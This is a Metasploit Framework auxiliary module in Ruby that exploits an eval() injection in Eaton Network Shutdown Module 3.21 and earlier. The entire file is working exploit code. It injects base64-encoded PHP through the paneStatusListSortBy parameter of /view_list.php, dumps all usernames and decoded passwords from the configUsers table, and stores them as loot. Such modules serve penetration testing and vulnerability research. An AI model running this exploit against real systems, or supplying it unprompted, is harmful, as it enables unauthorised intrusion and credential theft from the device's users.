##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Auxiliary::Report
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Network Shutdown Module <= 3.21 (sort_values) Credential Dumper',
			'Description'    => %q{
				This module will extract user credentials from Network Shutdown Module by exploiting
				a vulnerability found in lib/dbtools.inc, which uses unsanitized user input inside a
				eval() call.  Please note that in order to extract credentials,the vulnerable service
				must have at least one USV module (an entry in the "nodes" table in mgedb.db)
			},
			'References'     =>
				[
					['OSVDB', '83199'],
					['URL', 'http://secunia.com/advisories/49103/']
				],
			'Author'         =>
				[
					'h0ng10',
					'sinn3r'
				],
			'License'        => MSF_LICENSE,
			'DisclosureDate' => "Jun 26 2012"
		))

		register_options(
			[
				Opt::RPORT(4679)
			], self.class)
	end

	def peer
		"#{rhost}:#{rport}"
	end

	def execute_php_code(code, opts = {})
		param_name = Rex::Text.rand_text_alpha(6)
		padding    = Rex::Text.rand_text_alpha(6)
		php_code   = Rex::Text.encode_base64(code)
		url_param  = "#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f"

		res = send_request_cgi(
			{
				'uri'   =>  '/view_list.php',
				'method' => 'POST',
				'vars_get' =>
					{
						'paneStatusListSortBy' => url_param,
					},
				'vars_post' =>
					{
						param_name => php_code,
					},
				'headers' =>
					{
						'Connection' => 'Close'
					}
				})
		res
	end

	def read_credentials
		pattern   = Rex::Text.rand_text_numeric(10)
		users_var = Rex::Text.rand_text_alpha(10)
		user_var  = Rex::Text.rand_text_alpha(10)
		php = <<-EOT
		$#{users_var} = &queryDB("SELECT * FROM configUsers;");
		foreach($#{users_var} as $#{user_var}) {
		print "#{pattern}" .$#{user_var}["login"]."#{pattern}".base64_decode($#{user_var}["pwd"])."#{pattern}";
		} die();
		EOT

		print_status("#{peer} - Reading user credentials from the database")
		response = execute_php_code(php)

		if not response or response.code != 200 then
			print_error("#{peer} - Failed: Error requesting page")
			return
		end

		credentials = response.body.to_s.scan(/\d{10}(.*)\d{10}(.*)\d{10}/)
		return credentials
	end

	def run
		credentials = read_credentials
		if credentials.empty?
			print_warning("#{peer} - No credentials collected.")
			print_warning("#{peer} - Sometimes this is because the server isn't in the vulnerable state.")
			return
		end

		cred_table = Rex::Ui::Text::Table.new(
			'Header'  => 'Network Shutdown Module Credentials',
			'Indent'  => 1,
			'Columns' => ['Username', 'Password']
		)

		credentials.each do |record|
			cred_table << [record[0], record[1]]
		end

		print_line
		print_line(cred_table.to_s)

		loot_name     = "eaton.nsm.credentials"
		loot_type     = "text/csv"
		loot_filename = "eaton_nsm_creds.csv"
		loot_desc     = "Eaton Network Shutdown Module Credentials"
		p = store_loot(loot_name, loot_type, datastore['RHOST'], cred_table.to_csv, loot_filename, loot_desc)
		print_status("Credentials saved in: #{p.to_s}")
	end
end
